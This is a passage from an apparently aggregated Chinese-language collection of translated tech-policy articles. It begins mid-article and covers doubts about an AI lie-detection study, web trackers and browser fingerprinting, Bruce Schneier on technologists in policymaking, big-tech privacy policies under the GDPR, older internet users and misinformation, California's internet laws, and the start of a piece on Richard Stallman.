但是，该研究的依据是被定罪的犯罪分子的照片，这些犯罪分子的照片由警方提供，而同一研究中的非犯罪者照片更可能由该人本人或其雇主选择。简单的区别标准是：囚犯不太可能微笑，“他们只是创造了一个微笑探测器，”华盛顿大学说。

纽约大学 AI Now 研究所的联合创始人 Kate Crawford 说，在谎言检测研究中，几乎可以肯定，研究组中存在类似的人为差异，这些差异并不适用于现实世界。就像犯罪研究实际上是在检测微笑一样，谎言检测研究很可能正在进行的只是“表现检测”。“你正在研究玩游戏的人的语言模式，这与人们在日常生活中的真实发言方式截然不同，”她说。

在接受 WIRED 采访时，FSU 的 Ho 确实承认了这项研究的方法问题。但在同一个对话中，她还建议它可以作为在线测谎系统的原型，可以用于在线约会平台等应用程序，作为情报机构测谎仪测试中的一个元素，甚至可以用于尝试评估与银行自动聊天机器人通信的人的诚实度。

Crawford 认为这些建议充其量只是对一个已经存在问题的测谎测试历史的延续，多年来已经证明这些测试具有科学上可疑的结果，这些结果既容易产生误报，也会受到训练有素的测试者的挑战。现在，FSU和斯坦福大学的研究人员正在恢复这种错误的技术，并且数据源的数量甚至比传统的测谎仪测试更少。

“当然，银行可能想要一种非常便宜的方式决定是否给予贷款，”Crawford 说。“但是，我们是否想要根据实验来调用这种有问

题的历史？这些实验本身在方法论上是有问题的”。

研究人员可能会争辩说，他们的测试只是一个参考点，或者他们不建议将其用于现实世界的决策。但 Crawford 表示，他们似乎并没有真正权衡如何应用有缺陷的测谎仪及其后果。“他们没有考虑完整的社会影响，实际上，他们需要更多地关注像这样的工具的负外部性。”

RESEARCHERS BUILT AN “ONLINE LIE DETECTOR.” HONESTLY, THAT COULD BE A PROBLEM: the FSU and Stanford researchers are reviving that faulty technology, but with even fewer data sources than a traditional polygraph test.

原文

猫鼠游戏永远持续 —— 隐私保卫战的未来会如何？ - iYouPort

互联网自由-Resist

猫鼠游戏永远持续 —— Ghostery 产品总监 Jeremy Tillman

「图」

「图」

保护隐私的战斗就像过山车一样，拥有惊人的高潮和汹涌的低谷。毕竟，保护您的信息的技术与追踪者之间一直在持续不断的博弈，寻找新的方式来分析您的信息。上周，苹果达到了一个高点。

在其全球开发者大会上，这家消费电子巨头推出了一些工具，通过在其 Safari 浏览器上阻止“设备指纹识别”和社交媒体追踪器来“保护您的数据”。

你相信吗？

尽管隐私专家们对苹果的新功能赞不绝口，但他们说这更像是在互联网的大量隐私伤口上使用创可贴。一家像苹果这样庞大而有影响力的公司可能难以充分保护其用户，这突出表明了追踪者将获取您的个人信息的时间之长。毕竟，苹果的举动直接反对了包括 **Facebook** 和谷歌在内的整个行业 – 这些公司的盈利模式就是通过跟踪您的信息以进行有针对性的广告宣传。

> 猫鼠游戏永远持续 —— Ghostery 产品总监 Jeremy Tillman

这些公司非常擅长他们的监视。

Anonymizer 的创始人兼安全公司 Ntrepid 的首席科学家 Lance Cottrell 说：“绕过这些追踪器的努力有着悠久的历史：“你会看到广

告商担心世界末日来临，然后很快，他们似乎又找到解决方案了。”

公众对隐私的担忧正处于沸点。诸如 Facebook 的剑桥分析公司丑闻等高调事件戳中了数百万在线用户的痛点。人们越来越意识到科技巨头已经从中收获了多少数据。立法者正在采取行动，其中包括欧盟采用的名为“ 一般数据保护条例”或 GDPR 的大规模隐私政策。

除了立法之外，还有大量的在线资源可以帮助你阻止跟踪者。像 Privacy Badger 和 Ghostery 这样的工具会阻止数据跟踪器，这些数据跟踪器可以挖掘您的搜索历史记录，社交媒体活动以及您的真实身份等信息。

但这是一场永无休止的战斗。

“永远都会有猫鼠游戏的，”Ghostery 的产品总监 Jeremy Tillman 说道。**Ghostery** 隐私工具在其数据库中拥有数千个追踪器，并且每周新增约 **20** 至 **30** 个追踪器。

他说，即使这样仍然不够，“有些追踪器不会在我们的数据库中出现。”

苹果公司可能会采取行动保护您的隐私，但你需要抵御的东西之数量早已严重超标。

Ghostery 估计，当你连接到一个网站时，你可能已经在这个页面上连接了至少 20 家不同的公司。他们的追踪器可以作为广告来使用，就像 Facebook 上的按钮、图像和像素一样 – 这是您永远不会注意到的微小的、几乎不可见的追踪工具。

Cottrell 说：仅仅通过逐一像素，Facebook 和其他公司就可以嵌入大量的代码来识别你，并追踪你。“这确实是问题所在”。

在周一发布的一封信中，Facebook 告诉参议员，到 4 月 16 日，其 ‘Like’ 按钮已经安置在 **840** 万个网站上，分享按钮在 **2.75** 亿个网页上，同时在网站上安装了 **220** 万个 Facebook 像素。

这些追踪器使用设备指纹等策略，允许广告客户根据浏览器提供的数据知道谁在查看他们的内容。网站访问者拥有完全相同的设置、字体、插件和浏览器版本的机会非常小，它允许跟踪器为每个设备设置“指纹”。

所以，即使你清除了所有的 **cookies**，基本也没什么鸟用，因为追踪

者可以通过这些指纹识别你，Cottrell 说。

Ghostery 发现，在超过 **1.44** 亿页面的页面上，**Google** 的跟踪器几乎占了这些页面的三分之二。**Facebook** 的追踪者占 **27**％。而这两家公司只是最知名的品牌。

Tillman 说，有成千上万的其他在线公司可以完成普通人从未听说过的完全相同的事。当 Ghostery 意识到它无法跟上每周都在不断涌现出来的所有新追踪者时，它开始依靠人工智能来帮助扩大对抗这个灾难。

苹果公司的隐私功能也有类似的方法，依靠公司所称之为智能跟踪保护的玩意，或更具体的 ITP 2.0。

它旨在检测跟踪 cookie，无论是来自 Facebook 还是成千上万的第三方之一，您完全没有意识到的那些玩意，然后根据行为自动阻止它们，而不是黑名单。

这些工具仅适用于苹果的操作系统，尽管该公司拥有2018年最畅销的智能手机（目前为止），但全球大部分地区仍在使用运行谷歌 Android 系统的手机。这是隐私工具面临的最大挑战：即使它们可用，也没有人使用它们。因此，数据追踪者将继续蓬勃发展。

“如果你有 50 亿人使用 Ghostery，那么可以肯定，追踪者将会改变，” Tillman 说。“如果你能看到所有使用广告拦截工具的人相对于互联网上的用户数量之比的话，那个数字对我们来说是一个烦恼，但不是威胁。”

追踪的未来

隐私工具永远不会完全杀死数据追踪者，但这是一个开始。

正如 **GI Joe PSAs** 的经典名言所说，认知只是战斗的一半。而当像苹果这样的主要玩家默认使用这些数据保护功能时，更多的人会意识到它的重要性，Tillman 说。

任何时候都会有重大的数据丑闻，它能触动人们对隐私工具的兴趣。当 Facebook 的剑桥 Analytica 丑闻爆发时，尽管它与第三方追踪器无关，但他发现人们在寻找 Ghostery 方面有了明显的提升。

“如果说剑桥分析公司的失败能带来一线希望的话，那就是它提高了普通人的隐私意识，本就该具备的意识”，他说。

但隐私倡导者不能只依靠多个数据丑闻来宣传隐私保护。这就是为什么更多的公司，如苹果和火狐的制造商 Mozilla，采取了更加激进的隐私立场，努力阻止数据追踪者。

即使科技巨头开始阻止跟踪器，广告商也不会花费很长时间来找到解决方案。Cottrell 说，数据追踪者在人们上网体验方面已经变得根深蒂固，而无追踪者的互联网将是完全不同的体验。

他说："如果互联网的功能发生有意义的变化，将会引发一场巨大的革命。""我们都是很早就受到熏陶，希望网络能够免费的，这就等于要求网络广告，而除非它是有针对性的，否则这种广告就无效。"

原文

现在是技术专家成为立法者的时候了 - iYouPort

互联网自由-Resist

我们不希望立法者成为一切的专家。我们希望他们获得并接受专业知识，为什么需要技术人员参与政策？

知名安全大师 Bruce Schneier 呼吁技术专家成为立法者和政策制定者，以便各国能够处理人工智能治理和网络安全等问题。

Schneier 在哈佛大学肯尼迪政府学院任教，他说这个地方正在与经济学家一起合作，因为他们能够回答20世纪出现的许多问题。但在21世纪，受技术驱动，变革正在以更快的速度发生，

“未来即将来临，”Schneier 在旧金山举行的RSA安全会议上说，“它的速度比我们想象的要快。它的速度比我们现有的政策工具要快。解决这个问题的唯一方法是开发一套新的政策工具。在技术专家的帮助下，才能了解这些技术。“

这些问题比计算机安全性要大得多。Schneier 希望在所有领域拥有更多的公共利益技术专家。

早在20世纪50年代，技术和政策并没有真正相互作用，除非它与核武器或太空计划有关。 Schneier 说，而今天，技术和政策紧密交织在一起。

“今天，技术在制定事实上的政策，其影响力远远超过任何法律。法律永远都在努力追赶技术。在不同的世界中，技术和政策不再可持续”。

他说互联网从来没有考虑到任何公共政策，没有考虑任何安全性。现在，它对我们生活的方方面面至关重要。无论法律如何，公司基本上都在全面控制言论自由和审查制度，这些公司是营利性系统。所以现在我们经常能听到监视资本主义、算法歧视、数字鸿沟、对民主国家的信息攻击等术语。这些已经不是我们五年前听到的术语了。这意味

着互联网不再是一个单独的东西，它不再是它自己的世界。这是消费者政策的一部分.....是一切的一部分。

当联邦调查局希望苹果公司闯入嫌疑人的 iPhone 时，我们已经看到政策制定者和技术之间的冲突。斯诺登披露的国家安全局窃听计划的辩论是另一个闪光点。政策制定者理解技术的必要性是显而易见的。

这与我们复杂世界的任何其他部分没有什么不同，我们不希望立法者成为一切的专家。我们希望他们获得并接受专业知识。我们需要的第二件事是技术人员参与政策，我们需要的是更多的公共利益技术专家“—那些关注社会公正和共同利益的人。

这些技术专家可以解决有关政府供应链是否应该包含中国技术的问题，因为中国人会问自己是否应该依赖美国的技术。我们还必须知道路由器、智能手机、应用程序和社交网络等技术是否存在或应该存在后门。

Schneier 问构建5G网络究竟是为了安全还是为了监控；如何处理隐私问题和宣传战攻击。

“任何政策讨论都必须解决所有这些问题，”他说。“我们没有进行过相关辩论。”

一位观众询问AI专家是否可以创建一个可以模仿孩子的AI实体，以及是否应允许人们采用此类创作。

“这些正是真实的、实际的政策问题，我们想建立那些东西吗？我们如何处理这样一个国家？” Schneier 说。

政府内部有技术专家、国会工作人员和联邦贸易委员会，还有许多非营利和营利性技术游说团体。但 Schneier 希望公共利益技术人员将前沿和中心作为一条可行的职业道路：“我们要对自己所支持的未来愿景负责。为了完成这项工作，法律和政策必须共同努力“。“我认为我们将根据技术如何改变我们的社会来重新思考基本的社会契约”。

We are responsible for the vision of the future that we espouse. To make this work, law and policy have to work together. Bruce Schneier: It’s time for technologists to become lawmakers

原文

科技公司对您的数据究竟做了什么？我们可以如何反击？ - iYouPort

互联网自由-Resist

这些数据巨魔中许多人从您的设备上直接收集大量数据，例如 Facebook 收集您的电池电量、Tinder 从您的设备传感器收集数据，如加速度计、陀螺仪和指南针……你应该了解这些。我们需要明智的反抗

「图」

「图」

英国广播公司最近阅读了一些大型科技公司的隐私政策，发现一片震惊级的数字需要（直到现在才发现也是够迟钝的了）。隐私政策本应该是用户了解公司如何使用和共享数据的地方，所以这些信息必须易于理解，然而目前的事实却恰恰相反。当公司的商业模式依赖于以最终剥削的方式收获数据时，所有人都应该立即警觉起来。

GDPR 的精神是挑战公司与人之间的权力不平衡。该法律并不能遏制大型科技巨头，至于为什么我们有更多详细分析，但该法律给了用户一个机会，我们可以进行有理可依的反抗。公司必须确保隐私通知是事先明确的。

现有法律对此非常明确。最重要的是，公司需要停止利用人们的数据。这是隐私国际组织的一句口号，它能实现的前提是急需更多用户对隐私问题的觉醒，对数字极权的警惕，用自我保护的行动抵制科技巨头对我们的操控。

您的数据会发生什么样的影响，往往出乎您的意料。 Cambridge Analytica 就是一个典型例子—— 应该没有人会想得到，你自己发布的心情描述、对朋友帖子的点赞以及转发的文章，最终改变了全球一号超级大国的总统选举。

我们曾经在《隐身游戏》一文中强调了这种大规模数据收集和秘密利用的可怕。不仅能操纵你的行为和控制你的日常生活，并且正因此，依赖大众独立思考和清醒认知的民主正在被侵蚀。

幸运的是希望也正在出现，正如我们在上一篇文章中所描述的，一场新的全球性革命已经发起，旨在拆解数字极权、还回互联网最初的民主根源。

在这场革命成功之前，它所需要的是所有互联网人立即行动起来专注于自我保护，清晰地了解现有法律和巨头公司的政策之间的冲突，用法律保护自己。

首先我们必须了解自己的数据被用于了什么目的。目前为止由于科技巨头的严重不透明，您经常需要专家的协助来了解您的数据发生了什么—与谁共享，如何销售以及由谁利用这些数据。本网将致力于在全球隐私专家和您之间架设桥梁。

这里是一些法律要点

> 数字巨头的隐私政策普遍缺乏可理解性，GDPR 在第 13 条和第 14 条（与第 12 条一起）中遵守信息权方面提出了问题，同时它也展示了另一个问题，即是否存在处理人们数据的有效法律依据。例如，法律规定用户必须是在完全自由的情况下对公司的隐私政策给出基于个人意愿的具体和明确的指示，但是，如果个人无法理解那些公司的政策，那么他们该如何同意他们的数据被通过那些方式的使用？
>
> 挪威消费者委员会最近的报告详细说明了 NOYB 对 Google 和 Facebook 的投诉，对用于推动用户同意和分享更多隐私数据的诡异的设计性问题提出了挑战。隐私国际组织已致函欧洲数据保护委员会，ICO 和爱尔兰 DPA，要求他们进行调查。欧盟的许多其他消费者团体也采取了行动，在美国，消费者报告也进行了类似的研究，并向 FTC 提出了这个问题。对于中国互联网用户来说，如果您真的无法摆脱集中化平台，那么请尽可能选择 Twitter，至少有很多国际组织在审视 Twitter 政策以保护您的利益（如果您使用的是微博微信、BAT，这些组织往往无法保护你）
>
> 在查看隐私政策时，不仅要了解收集的有关您的数据

的类型，还要了解其原因（目的）以及您的数据可能与谁共享以及出于何种目的。通常这些并不是您所期望的，并且不能立即明确了解他们为什么需要数据，或者他们是否只是如陈述那般使用它。于是您很可能难以根据公司的隐私政策本身捍卫自己的利益，您应该更多理解监视资本主义整体的性质，以便增强警惕。

许多隐私政策的明确主题是公司从无处不在的第三方接收数据并与第三方共享数据、以及随时随地跟踪您，声称以广告为目的。但需要知道，许多数据点将暴露的信息包括您的位置、您的兴趣、您的交互和人际连接。对于大多数政策（例如 Google，亚马逊，Facebook），您必须点击以查找有关其定位广告的更多信息。那些第三方往往是不透明的，从传统的数据经纪人到广泛的广告技术公司，还有各种专制政府，收集大量数据并用它来构建你的个人档案—这就是为什么隐私国际组织正在关注隐藏的数据生态系统。

例如，有许多内部群组的数据共享，Tinder 就与 Match Group 中的所有公司共享。再如，将You Tube 作为 Google 的一部分进行分析非常重要（因此在隐私政策方面也一样）。Google 和 YouTube 上有许多年轻用户，您的数据将会被用于确定哪些“您认为最有用的广告”，或者您可能喜欢哪些 YouTube 视频，这些数据对您来说很重要不可轻视。所以至少要掌握他们可能会收集的所有活动信息的非详尽列表，例如推荐 YouTube 视频，这其中使用到的数据可以包括您搜索的内容、您如何将鼠标移到广告上、您与之沟通的人、第三方网站上的活动、甚至语音信息。最终的使用目的很可能已经超出为您推荐视频这个被声称的“服务”。

这些数据巨魔中许多人从您的设备上直接收集大量数据，例如 Facebook 收集您的电池电量、Tinder 从您的设备传感器收集数据，如加速度计、陀螺仪和指南针……你应该了解这些。这就是为什么我们要 #deleteFacebook——以下是更多法律——

国际隐私标准

Council of Europe

与联合国一样，欧洲委员会的47个成员国已经起草了若干协议，以推进公民的隐私权，作为对合作和发展人权和基本自由的更广泛承诺的一部分。Convention for the Protection of Individuals with regard to Automatic Processing of Personal Data 1980Additional Protocol to the Convention for the Protection of Individuals with regard to Automatic Processing of Personal Data regarding supervisory authorities and transborder data flows 2001

European Data Protection Directive

该指令旨在保护私人和公共部门持有的个人信息的收集使用和披露。该指令由欧盟通过并由27个成员国转变为国家法律。 Directive 95/46/EC of the European Parliament and of the Council of 24 October 1995 on the protection of individuals with regard to the processing of personal data and on the free movement of such data

International Conference of Data Protection and Privacy Commissioners

每年国际数据保护和隐私专员会议都汇集了保证数据保护和隐私的最高权力机构和机构，以及来自各大洲的专家。 34th International Conference of Privacy and Data Protection Commissioners

Other International Instruments

- Article 12 The Universal Declaration on Human Rights 1948
- Article 17 The International Covenant on Civil and Political Rights 1966
- Article 16 The Convention on the Rights of the Child 1989
- E/CN.4/1990/72: Guidelines for the regulation of computerized personal data files 1990
- Article 8 Convention for the Protection of Human Rights and Fundamental Freedoms 1950
- Council of Europe: Recommendations and resolutions of the Committee of Ministers
- Council of Europe: Recommendation No.R(99) 5 for the protection of privacy on the Internet 1999

- OECD Guidance on Policy and Practice: Privacy Online (book)
- OECD Guidelines on Cross-Border Privacy Law Enforcement 2006-ongoing
- OECD Guidelines for the Security of Information Systems and Networks: Towards a Culture of Security 2002
- Article 18 The Cairo Declaration on Human Rights in Islam 1990
- Article 4.3 Declaration of Principles on Freedom of Expression in Africa 2002
- Article 5 American Declaration of the Rights and Duties of Man

原文

老龄化互联网 - iYouPort

互联网自由-Resist

互联网在发生变化。这个问题的确需要考虑了：关于，最危险的部分可能是你的家人。尤其是那些老龄化社会最严重的国家。以及这个问题应该怎么办？

「图」

「图」

虚假消息之所以危险是因为它真的会改变现实，这就是为什么虚假消息创建者和各种形形色色的骗子往往很注重人群针对性—— 他们要将其设计的欺骗模式准确匹配到最容易感染的目标人群上。现在的互联网正在发生变化，从年轻人的天下转变为老年人的天下，这意味着什么？如果恶意行为者通过你的缺乏网络素养的祖母将带有间谍软件的链接转发给你，这意味着什么？

这个问题的确需要考虑了：关于，最危险的部分可能是你的家人。尤其是那些老龄化社会最严重的国家。以及这个问题应该怎么办？

这里是马里兰州。大约25名老年人正在学习如何与 Siri 交谈。他们拿起 iPad 并按下主页按钮，当 Siri 询问能做些什么来帮助他们时，房间里开始变得热闹起来。

AARP 是一个专注于50岁及以上公民的国家非营利组织，他们帮助这些老人学习使用互联网。他们在马里兰州的华盛顿堡提供了四个关于如何使用 iPad 的免费研讨会。参与者将学习如何开机，应用程序是什么，如何发短信，以及如何翻转相机以拍摄自拍照，还有其他活动。

AARP 社区主管 Janae Wheeler 自2016年以来一直在举办这些培训。她告诉老人们打开一个应用程序，按下它的图标“就像点击一个婴儿的鼻子一样轻轻地。”“我们有一个弥合数字鸿沟的重要目标，与技术保持一致使您能够真正地与所关注的所有事物和人联系起来”，

Wheeler 说。

听起来不错？但事实上可能不是。虽然许多美国老年人像我们其他人一样想要拥抱技术行业的工具和玩具，但越来越多的研究表明，他们不可避免地成为了互联网虚假信息危险的主要牺牲品，并且由于他们的网络习惯可能会进一步推动两极化。虽然这对他们来说很重要，但鉴于老龄化的严重趋势，对社会来说也是一个巨大的挑战。

根据美国人口普查，65岁及以上的人将很快成为美国最大的单身年龄组，并将在未来数十年保持这种状态。这个庞大的人口变化正在发生，当这个年龄段的人群成群结队地进入 **Facebook**、深陷数字素养的困境、并最有可能成为各种网络恶意行为者的攻击目标，攻击者试图向他们提供假新闻、用恶意软件感染他们的设备、并诈骗钱财。然而，老年人在很大程度上被排除在数字扫盲工作的黄金时代之外了。

自2016年大选以来，数字扫盲计划的资金急剧增加。苹果公司刚刚宣布了对新闻扫盲项目和两项相关举措的重大捐赠，以及 Facebook 与类似组织的合作伙伴。但即使下一届总统大选已经越来越近，他们仍主要关注年轻人口。

这意味着那些在数字信息和技术方面最挣扎的人群可能会因为网络素养缺乏而在被定位、被欺诈、被利用的环境中自生自灭。

老年人也更有可能投票并在其他方面积极参与政治活动，例如做出政治捐款。他们更富有，因此拥有巨大的经济实力和随之而来的所有影响力。随着越来越多的老年人上网，老年人的在线行为以及他们不断上升的力量非常重要—— 但往往被忽视。

最近的四项研究发现，与其他年龄组相比，老年人更有可能消费和分享虚假的在线新闻，即使在考虑党派偏见等因素时也是如此。其他的研究发现，老年人普遍不理解自己是如何被算法操纵的。并且相比年轻人更加难以区分什么是新闻什么是政治宣传和偏倚的观点，也不太可能关注他们消费信息的新闻网站的可信度。

这些弊端与老年人的关键特征直接相关，例如更有可能生活在农村和偏远地区，并且可能部分地因此体验到高度的孤独感。AARP 进行的一项调查发现，60–69 岁的人中有36％是孤独的，而70岁及以上的人中有24％是孤独的。

因此，现在必须更好地了解社交媒体的影响，孤独感和缺乏数字素养对老年人的影响，美国卫生与人类服务部老年人心理学家说。

“最近的证据表明，与年轻人相比，老年人传播假新闻的可能性要大得多，再加上未来几十年这一人口群体的预计增长，至关重要的是要提高我们对影响其方式的因素的理解”。他们在最近的一篇文章中写道，关于哪些老年人与这些平台接触、以及这些平台如何影响老年人的政治和社会决策。

未来尚不得而知。但显而易见的是，老年人将成为一个不可忽视的在线力量—— 没有人真正能确定这将导致什么，更不用说如何做好准备了。

互联网的文化和内容在历史上是由一个等式来确定的，这个等式大致适用于有权访问的人乘以那些花费最多时间的人。“在未来十年，互联网将成为更多老年人的天下”。

这些数字扫盲培训还教老年人自拍并上传互联网。根据"盖洛普的数据"，这就是他们成为目标的时候，特别是在 **Facebook** 上，自2011年以来，加入该平台的老年人数量大幅增长。如果在 Facebook 上有一个人接受了虚假新闻就很容易连带一个大的关系网络，并引发更多的虚假消息。

Jestin Coler 经营着一个网站，专门发布关于科学、政治和其他主题的完整虚假材料，他告诉 BuzzFeed News，“我们在投放广告时确实针对年龄较大的群体，我相信你会发现与极度拥护自己所属党派的政治宣传没什么区别”。

1月份发表的研究发现，“平均而言，**65**岁以上的用户 **[**在**Facebook** 上**]** 共享的假新闻领域的文章数量几乎是最年轻群体的七倍。” 针对 Twitter 上虚假信息传播的研究也得出了类似的结果。一般是围绕2016年大选进行的数据分析。

正如 Coler 所指出的那样，婴儿潮一代也是 Facebook 上偏激的政治宣传内容的主要消费者，这些主页通过meme和文章激发党派激情，从而推动了对平台的巨大参与。Nicole Hickman James 花了数年时间为一家出版商工作，该出版商经营自由派和保守党的 Facebook 政治宣传页面和相关网站。她说，随着时间的推移，她为年长的读者量身定制了宣传性的文章，因为他们是最容易被吸引的观众。

与 Coler 的虚假新闻网站一样，这些发布商会制作广告，并将其定位到50岁或60岁以上的人群。但是即使他们不想吸引老年人，他们仍可能会发现自己的广告吸引了更年长的 Facebook 用户。

Facebook 广告档案显示，在 Uhl 的病毒式传播之后，Turn Point 的广告发生了变化，并开始转向吸引年轻人，正如人们所期望的那样，以学生为中心的群体。Turning Point 没有回复评论请求，但似乎该组织最初使用年龄以外的标准来定位其广告—— 而婴儿潮一代恰好是最容易接受宣传性信息的人群。

Ami Horowitz 也是如此，他是一位保守派电影制片人，为福克斯新闻制作短视频片段并经常作为嘉宾出现。他一直在运行多个版本的广告，要求人们“如果你同意”云云，就像美国需要阻止移民等保守派主张。

BuzzFeed News 在 Facebook 广告档案中查看的版本显示其主要覆盖**55**岁以上的人群，超过**65**岁的人群是受众群体中最大的一部分。

「图」

「图」

任何点击 Like 按钮的人都会自动成为 Horowitz 页面的粉丝，并开始看到他的内容显示在他们的新闻 Feed 中。像这样被许多广告成为目标并点击的人最终可能会得到像 Betty Manlove 老人这样的 Facebook 垃圾时间线。

Manlove 点赞了超过1,400个 Facebook 页面，其中许多是保守派或宗教派的政治宣传。她认识到她的 Facebook 使用在某些方面已经变得很糟。Manlove 承认对 Facebook 上瘾，“我在 Facebook 上浪费了很多时间，我应该做其他事。“

她点赞的页面中至少有三个是由确定的俄罗斯 **trolls** 运营的，至少有一个是由一个自称为自由主义 **trolls** 运行的假保守派页面，专门发布虚假故事和宣传性 **meme**。

这些情绪可能是我们当前混乱的信息环境正在创造代际媒体习惯的历史鸿沟这一事实的副产品。25岁及以下的人是 Snapchat 和 Instagram 等平台的重度用户，几乎不看任何传统电视。年长的人更有可能使用 Facebook 并观看电视。所有年龄段的人都在 Facebook 上，但年轻人使用它的次数要少得多，并且经常引用他们的父母和祖父母作为远离 Facebook 的理由。

3月初，司法部宣布了“历史上最大规模的老年欺诈案件”，其中**260** 多人受到指控，他们使 **200** 多万美国人受害，其中大多数是老人。

即使是拥有计算机和技术经验的婴儿潮一代也会感到自己有些落后了。在 AARP，57岁的退伍军人 Charles Robinson 把自己的 iPhone 从口袋里掏出来，并表示他会做任何事，从支付账单到发送电子邮件。在他和记者交谈的过程中他收到孙子发来的一条短信，内容是家里的电脑坏掉了 Robinson 是否能修理一下。但他不能。

Robinson 和他的妻子都拥有大学学位，并一直在社会上活跃。但是使用技术对于他们而言比以往更加困难了。他说，“我们都在政府工作并上过大学，但无论你获得多少学位，技术一直都在进步，所以我们必须以某种方式跟上它……多年前，当电脑出现时，我们都可以修理，现在就不行了”。

当然，那些目前超过65岁的人并没有在互联网上长大，也不会将大部分时间花在互联网上。但他们在20年前应该有所不同对吗？不一定，因为互联网的发展速度太快了。例如，一个当下四十多岁的狂热 Facebook 用户可能已经对 TikTok 感觉困惑了。因此，今天的互联网上精明的成年人有可能成为明天挣扎的老年人。

这意味着如何帮助老年人适应互联网和新的数字环境的问题不完全是帮助今天的老年人。解决方案必须预测并满足未来达到65岁及以上人群的数字扫盲需求。这很困难，因为截至目前为止，老年人一直被排除在数字扫盲热潮之外，并且经常难以让家人帮助他们。

并且老人很可能对数字素养课程不感兴趣。前虚假新闻出版商 Coler 表示，加利福尼亚州的一个高级中心最近试图举办“如何警惕假新闻”的研讨会。由于人们广泛缺乏兴趣，最终培训被取消了。他认为失败的原因有可能是该课程的名字，“每个人都觉得自己可以识别假新闻，而不是让他人告诉自己如何识别”。

这句话蛮有启示的。在中国你也经常能看到人们对识别造假的技术和方法知识以及安全知识不感兴趣，一定程度上不得不怀疑传播这些知识的倡导者的姿态太过高高在上了。

Munger 说，起点是要认识到老年人有理由感到他们没有得到适当的支持和理解，并且要按照他们的条件来满足他们。这可能意味着更多的产品，如 AARP 在各个领域的研讨会，还有更多的研究，以了解老龄化、社交媒、技术和社会如何交叉。

Old, Online, And Fed On Lies: How An Aging Population Will Reshape The Internet. Older people play an outsized role in civic life. They also are more likely to be online targets for

misinformation and hyperpartisan rhetoric.

原文

自己的互联网？ - iYouPort

互联网自由-Resist

“互联网主权”不是个新鲜概念，但现在，它有了不同层面的多个含义……

「图」

「图」

中国互联网不像世界其他地方的互联网。全球1000个最受欢迎的互联网网站中有超过150个在中国被封锁，包括谷歌，YouTube，Facebook 和 Twitter。相反，百度，微信和新浪微博等国内复制版平台蓬勃发展。

中国是比较极端的，但不是特殊的。

互联网自由倡导者担心互联网因此将切割成多个国家级的“ 分裂网 ”。Tor项目表示，包括巴基斯坦和俄罗斯在内的至少十几个国家对互联网进行了审查；与此同时，欧盟内部的搜索结果可能与其他地方的搜索结果不同，因为它有被遗忘权的法律，世界各地的网络出版商仍在努力应对今年生效的欧盟隐私法规的影响。

今年在加利福尼亚州通过的一系列法律提出了一个新的可能性：美国各州将分裂出他们自己的互联网版本。7月，加利福尼亚州通过了一项隐私法案，类似于欧盟的政策，这将使用户能够更好地控制被公司收集的数据。州长杰里·布朗随后于9月底签署了一项网络中立法，旨在取代禁止宽带互联网服务提供商阻止或以其他方式歧视合法内容的联邦法规，以及一项法律要求机器人在宣传销售或试图影响选举的情况下表明其身份。

这些并不是一些州首次尝试规范在线生活。例如，伊利诺伊州有一项生物识别隐私法，该法被用来涵盖 Facebook 和谷歌使用的面部扫描软件；像华盛顿这样的州也通过了网络中立规则；但加利福尼亚州以其规模和规则的全面性，特别是在一起采取时，可以使其与其他州更

明显地区别开来。

Milton Mueller 乔治亚理工学院公共政策学院教授，“互联网碎片化”一书的作者，认为加利福尼亚的网络中立法和中国的审查制度不同，它是“协调”而不是“分裂”。但他确实认为这些政策可能危险：“我们正在破坏互联网的优势，在任何地方提供服务的能力，”他说。

其他研究人士指出，加州的规则并不是对互联网已经如何运作的根本偏离。东北大学法律和计算机科学教授 Woodrow Hartzog 说：“我认为加利福尼亚和布鲁塞尔一样，可能会为几个重要技术问题的合规性设定标准。”“但这可能不会导致我们在中国和俄罗斯看到的那种巴尔干化。”

例如，加利福尼亚州通过的隐私规则与欧盟通过的规则类似。从这个意义上说，加利福尼亚不是在将互联网分割，而是将州或国家与其他国家更加和谐。

在网络中立的情况下，规则的目的是通过确保人们访问内容的能力不会因宽带提供商而异，从而避免碎片化。斯坦福大学法学教授 Barbara van Schewick 指出，在2015年欧盟通过更多统一法规之前，欧洲有不同的网络中立规则。van Schewick 认为，欧洲网络中立的拼凑时代并没有导致分裂。

不过，加州的法律也可能难以坚持下去。美国司法部已经起诉了加利福尼亚州的网络中立法，认为“只有联邦政府才有权管理州际通信网络”，而国会则考虑多个提案来规范联邦一级的网络中立性。加利福尼亚已经同意暂停法律，与此同时，科技行业正在游说国会通过一项不那么严格的国家数据隐私法，该法将取代加州的法律。

华盛顿大学法学教授 Ryan Calo 专门研究隐私和网络法，他说：“我认为，我们制度中更有可能的结果是国家立法，因为立法者注意到行业对于面对’拼凑’法律的投诉 …… 很多人认为隐私立法几乎是不可避免的”。

但在华盛顿的僵局中，没有什么是不可避免的。

CALIFORNIA COULD SOON HAVE ITS OWN VERSION OF THE INTERNET: but the tech industry is lobbying Congress to pass a less stringent national data privacy law that would override California’s law.

原文

计算机和权力：失败主义是自由的敌人 - iYouPort

互联网自由-Resist关于高堡奇人

相信自己做不到才是真正做不到的根本性原因，而不是被描述的任何障碍

「图」

「图」

当情势对你不利时，需要很大的勇气和强烈的道德信念才能撑住。

Richard M. Stallman 博士作为计算领域的先驱，他可以看到如何通过控制计算来实现控制用户，并且他开始了解放用户的事业。

在某些方面，Stallman 的生活和方法可以与甘地相媲美。

甘地努力让印度人摆脱殖民主义者的攻击，Stallman 的使命是确保软件用户不受软件提供商的控制，这些提供商目前只包含一些巨头企业 —— 他们是互联网上的殖民者。甘地的斗争是为了印度次大陆人民的政治自由，Stallman 反对的是寡头企业针对世界各地的计算机用户的数字殖民。

甘地的生活具有强烈的价值观和信念，这是我们无法企及的；甘地的坚定信念是在印度的自由斗争中扮演催化剂。 Stallman 博士在计算领域的努力也是如此。

Richard Stallman 和他的作品曾在20世纪90年代中期引起了公众的注意。这是互联网在全球范围内取得进展的时候。

为了利用互联网的可能性，类UNIX系统是必要的。1983年，Richard Stallman 推出GNU，作为一个操作系统，GNU可以将一起工作的所有用户联系起来，同时每个用户都可以自由地控制自己的计算机；在老练的互联网用户中非常受欢迎，他传达的自由信念也是如此。

自由软件开始在全世界范围内赢得利益，虽然更多只是在技术娴熟的用户和活动家中。

在那些日子里，操作主要发生在桌面或服务器机房中。我们有软件发送和接收邮件，就存储在我们自己的机器中，软件用于制作文档和演示文稿，在自己的机器上运行。

在2000年初，操作自由看起来好像是可以实现的。从那里开始，流行的操作变成了 Stallman 所谓的“斯大林的梦想”。

